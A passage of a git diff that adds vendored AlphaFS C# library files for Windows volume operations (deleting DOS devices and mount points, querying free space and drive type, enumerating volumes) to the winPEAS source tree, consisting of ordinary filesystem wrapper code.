* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
|
||||
/// <param name="deviceName">An MS-DOS device name specifying the device to delete.</param>
|
||||
[SecurityCritical]
|
||||
public static void DeleteDosDevice(string deviceName)
|
||||
{
|
||||
DefineDosDeviceCore(false, deviceName, null, DosDeviceAttributes.RemoveDefinition, false);
|
||||
}
|
||||
|
||||
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
|
||||
/// <param name="deviceName">An MS-DOS device name string specifying the device to delete.</param>
|
||||
/// <param name="targetPath">
|
||||
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
|
||||
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
|
||||
/// </param>
|
||||
[SecurityCritical]
|
||||
public static void DeleteDosDevice(string deviceName, string targetPath)
|
||||
{
|
||||
DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, false);
|
||||
}
|
||||
|
||||
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
|
||||
/// <param name="deviceName">An MS-DOS device name string specifying the device to delete.</param>
|
||||
/// <param name="targetPath">
|
||||
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
|
||||
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
|
||||
/// </param>
|
||||
/// <param name="exactMatch">
|
||||
/// Only delete MS-DOS device on an exact name match. If <paramref name="exactMatch"/> is <c>true</c>,
|
||||
/// <paramref name="targetPath"/> must be the same path used to create the mapping.
|
||||
/// </param>
|
||||
[SecurityCritical]
|
||||
public static void DeleteDosDevice(string deviceName, string targetPath, bool exactMatch)
|
||||
{
|
||||
DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, exactMatch);
|
||||
}
|
||||
|
||||
/// <summary>[AlphaFS] Deletes an MS-DOS device name.</summary>
|
||||
/// <param name="deviceName">An MS-DOS device name string specifying the device to delete.</param>
|
||||
/// <param name="targetPath">
|
||||
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
|
||||
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
|
||||
/// </param>
|
||||
/// <param name="deviceAttributes">
|
||||
/// The controllable aspects of the DefineDosDevice function <see cref="DosDeviceAttributes"/> flags which will be combined with the
|
||||
/// default.
|
||||
/// </param>
|
||||
/// <param name="exactMatch">
|
||||
/// Only delete MS-DOS device on an exact name match. If <paramref name="exactMatch"/> is <c>true</c>,
|
||||
/// <paramref name="targetPath"/> must be the same path used to create the mapping.
|
||||
/// </param>
|
||||
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
|
||||
[SecurityCritical]
|
||||
public static void DeleteDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch)
|
||||
{
|
||||
DefineDosDeviceCore(false, deviceName, targetPath, deviceAttributes, exactMatch);
|
||||
}
|
||||
}
|
||||
}
|
||||
95
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteVolumeMountPoint.cs
vendored
Normal file
95
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteVolumeMountPoint.cs
vendored
Normal file
@@ -0,0 +1,95 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Deletes a Drive letter or mounted folder.</summary>
|
||||
/// <remarks>Deleting a mounted folder does not cause the underlying directory to be deleted.</remarks>
|
||||
/// <remarks>
|
||||
/// If the <paramref name="volumeMountPoint"/> parameter is a directory that is not a mounted folder, the function does nothing. The
|
||||
/// directory is not deleted.
|
||||
/// </remarks>
|
||||
/// <remarks>
|
||||
/// It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume
|
||||
/// mount point.
|
||||
/// </remarks>
|
||||
/// <param name="volumeMountPoint">The Drive letter or mounted folder to be deleted. For example, X:\ or Y:\MountX\.</param>
|
||||
[SecurityCritical]
|
||||
public static void DeleteVolumeMountPoint(string volumeMountPoint)
|
||||
{
|
||||
DeleteVolumeMountPointCore(null, volumeMountPoint, false, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>Deletes a Drive letter or mounted folder.
|
||||
/// <remarks>
|
||||
/// <para>It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume mount point.</para>
|
||||
/// <para>Deleting a mounted folder does not cause the underlying directory to be deleted.</para>
|
||||
/// </remarks>
|
||||
/// </summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="volumeMountPoint">The Drive letter or mounted folder to be deleted. For example, X:\ or Y:\MountX\.</param>
|
||||
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
|
||||
/// <param name="continueIfJunction"><c>true</c> suppress an exception due to this mount point being a Junction.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
internal static void DeleteVolumeMountPointCore(KernelTransaction transaction, string volumeMountPoint, bool continueOnException, bool continueIfJunction, PathFormat pathFormat)
|
||||
{
|
||||
if (pathFormat != PathFormat.LongFullPath)
|
||||
Path.CheckSupportedPathFormat(volumeMountPoint, true, true);
|
||||
|
||||
volumeMountPoint = Path.GetExtendedLengthPathCore(transaction, volumeMountPoint, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator);
|
||||
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
// DeleteVolumeMountPoint()
|
||||
// 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
|
||||
|
||||
// A trailing backslash is required.
|
||||
var success = NativeMethods.DeleteVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeMountPoint, false));
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success && !continueOnException)
|
||||
{
|
||||
if (lastError == Win32Errors.ERROR_INVALID_PARAMETER && continueIfJunction)
|
||||
return;
|
||||
|
||||
if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND)
|
||||
lastError = (int)Win32Errors.ERROR_PATH_NOT_FOUND;
|
||||
|
||||
NativeError.ThrowException(lastError, volumeMountPoint);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
63
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DiskFreeSpace.cs
vendored
Normal file
63
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DiskFreeSpace.cs
vendored
Normal file
@@ -0,0 +1,63 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS]
|
||||
/// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total
|
||||
/// amount of free space, and the total amount of free space available to the user that is associated with the calling thread.
|
||||
/// </summary>
|
||||
/// <remarks>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</remarks>
|
||||
/// <param name="drivePath">
|
||||
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
|
||||
/// </param>
|
||||
/// <returns>A <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> class instance.</returns>
|
||||
[SecurityCritical]
|
||||
public static DiskSpaceInfo GetDiskFreeSpace(string drivePath)
|
||||
{
|
||||
return new DiskSpaceInfo(drivePath, null, true, true);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS]
|
||||
/// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total
|
||||
/// amount of free space, and the total amount of free space available to the user that is associated with the calling thread.
|
||||
/// </summary>
|
||||
/// <remarks>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</remarks>
|
||||
/// <param name="drivePath">
|
||||
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
|
||||
/// </param>
|
||||
/// <param name="spaceInfoType">
|
||||
/// <c>null</c> gets both size- and disk cluster information. <c>true</c> Get only disk cluster information,
|
||||
/// <c>false</c> Get only size information.
|
||||
/// </param>
|
||||
/// <returns>A <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> class instance.</returns>
|
||||
[SecurityCritical]
|
||||
public static DiskSpaceInfo GetDiskFreeSpace(string drivePath, bool? spaceInfoType)
|
||||
{
|
||||
return new DiskSpaceInfo(drivePath, spaceInfoType, true, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
58
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DriveType.cs
vendored
Normal file
58
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DriveType.cs
vendored
Normal file
@@ -0,0 +1,58 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Determines the disk <see cref="DriveType"/>, based on the root of the current directory.</summary>
|
||||
/// <returns>A <see cref="DriveType"/> enum value.</returns>
|
||||
[SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")]
|
||||
[SecurityCritical]
|
||||
public static DriveType GetCurrentDriveType()
|
||||
{
|
||||
return GetDriveType(null);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Determines the disk <see cref="DriveType"/>.</summary>
|
||||
/// <param name="drivePath">A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\"</param>
|
||||
/// <returns>A <see cref="DriveType"/> enum value.</returns>
|
||||
[SecurityCritical]
|
||||
public static DriveType GetDriveType(string drivePath)
|
||||
{
|
||||
// drivePath is allowed to be == null.
|
||||
|
||||
drivePath = Path.AddTrailingDirectorySeparator(drivePath, false);
|
||||
|
||||
|
||||
// ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
|
||||
return NativeMethods.GetDriveType(drivePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
91
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumeMountPoints.cs
vendored
Normal file
91
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumeMountPoints.cs
vendored
Normal file
@@ -0,0 +1,91 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
using winPEAS._3rdParty.AlphaFS;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Returns an enumerable collection of <see cref="String"/> of all mounted folders (volume mount points) on the specified volume. </summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <param name="volumeGuid">A <see cref="string"/> containing the volume <see cref="Guid"/>.</param>
|
||||
/// <returns>An enumerable collection of <see cref="String"/> of all volume mount points on the specified volume.</returns>
|
||||
[SecurityCritical]
|
||||
public static IEnumerable<string> EnumerateVolumeMountPoints(string volumeGuid)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(volumeGuid))
|
||||
throw new ArgumentNullException("volumeGuid");
|
||||
|
||||
if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase))
|
||||
throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid");
|
||||
|
||||
|
||||
// A trailing backslash is required.
|
||||
volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false);
|
||||
|
||||
|
||||
var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);
|
||||
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
using (var handle = NativeMethods.FindFirstVolumeMountPoint(volumeGuid, buffer, (uint)buffer.Capacity))
|
||||
{
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (!NativeMethods.IsValidHandle(handle, false))
|
||||
{
|
||||
switch ((uint)lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_NO_MORE_FILES:
|
||||
case Win32Errors.ERROR_PATH_NOT_FOUND: // Observed with USB stick, FAT32 formatted.
|
||||
yield break;
|
||||
|
||||
default:
|
||||
NativeError.ThrowException(lastError, volumeGuid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
yield return buffer.ToString();
|
||||
|
||||
|
||||
while (NativeMethods.FindNextVolumeMountPoint(handle, buffer, (uint)buffer.Capacity))
|
||||
{
|
||||
lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA;
|
||||
|
||||
if (!NativeMethods.IsValidHandle(handle, lastError, volumeGuid, throwException))
|
||||
yield break;
|
||||
|
||||
yield return buffer.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
90
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumePathNames.cs
vendored
Normal file
90
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumePathNames.cs
vendored
Normal file
@@ -0,0 +1,90 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
using winPEAS._3rdParty.AlphaFS;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Returns an enumerable collection of <see cref="string"/> drive letters and mounted folder paths for the specified volume.</summary>
|
||||
/// <returns>An enumerable collection of <see cref="string"/> containing the path names for the specified volume.</returns>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <param name="volumeGuid">A volume <see cref="Guid"/> path: \\?\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\.</param>
|
||||
[SecurityCritical]
|
||||
public static IEnumerable<string> EnumerateVolumePathNames(string volumeGuid)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(volumeGuid))
|
||||
throw new ArgumentNullException("volumeGuid");
|
||||
|
||||
if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase))
|
||||
throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid");
|
||||
|
||||
|
||||
var volName = Path.AddTrailingDirectorySeparator(volumeGuid, false);
|
||||
|
||||
|
||||
uint requiredLength = 10;
|
||||
var cBuffer = new char[requiredLength];
|
||||
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
while (!NativeMethods.GetVolumePathNamesForVolumeName(volName, cBuffer, (uint)cBuffer.Length, out requiredLength))
|
||||
{
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
switch ((uint)lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_MORE_DATA:
|
||||
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
|
||||
cBuffer = new char[requiredLength];
|
||||
break;
|
||||
|
||||
default:
|
||||
NativeError.ThrowException(lastError, volumeGuid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var buffer = new StringBuilder(cBuffer.Length);
|
||||
foreach (var c in cBuffer)
|
||||
{
|
||||
if (c != Path.StringTerminatorChar)
|
||||
buffer.Append(c);
|
||||
else
|
||||
{
|
||||
if (buffer.Length > 0)
|
||||
{
|
||||
yield return buffer.ToString();
|
||||
buffer.Length = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
68
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumes.cs
vendored
Normal file
68
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumes.cs
vendored
Normal file
@@ -0,0 +1,68 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Returns an enumerable collection of <see cref="String"/> volumes on the computer.</summary>
|
||||
/// <returns>An enumerable collection of <see cref="String"/> volume names on the computer.</returns>
|
||||
[SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")]
|
||||
[SecurityCritical]
|
||||
public static IEnumerable<string> EnumerateVolumes()
|
||||
{
|
||||
var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
using (var handle = NativeMethods.FindFirstVolume(buffer, (uint)buffer.Capacity))
|
||||
{
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND;
|
||||
|
||||
if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException))
|
||||
yield break;
|
||||
|
||||
yield return buffer.ToString();
|
||||
|
||||
|
||||
while (NativeMethods.FindNextVolume(handle, buffer, (uint)buffer.Capacity))
|
||||
{
|
||||
lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA;
|
||||
|
||||
if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException))
|
||||
yield break;
|
||||
|
||||
yield return buffer.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
44
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveFormat.cs
vendored
Normal file
44
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveFormat.cs
vendored
Normal file
@@ -0,0 +1,44 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Gets the name of the file system, such as NTFS or FAT32.</summary>
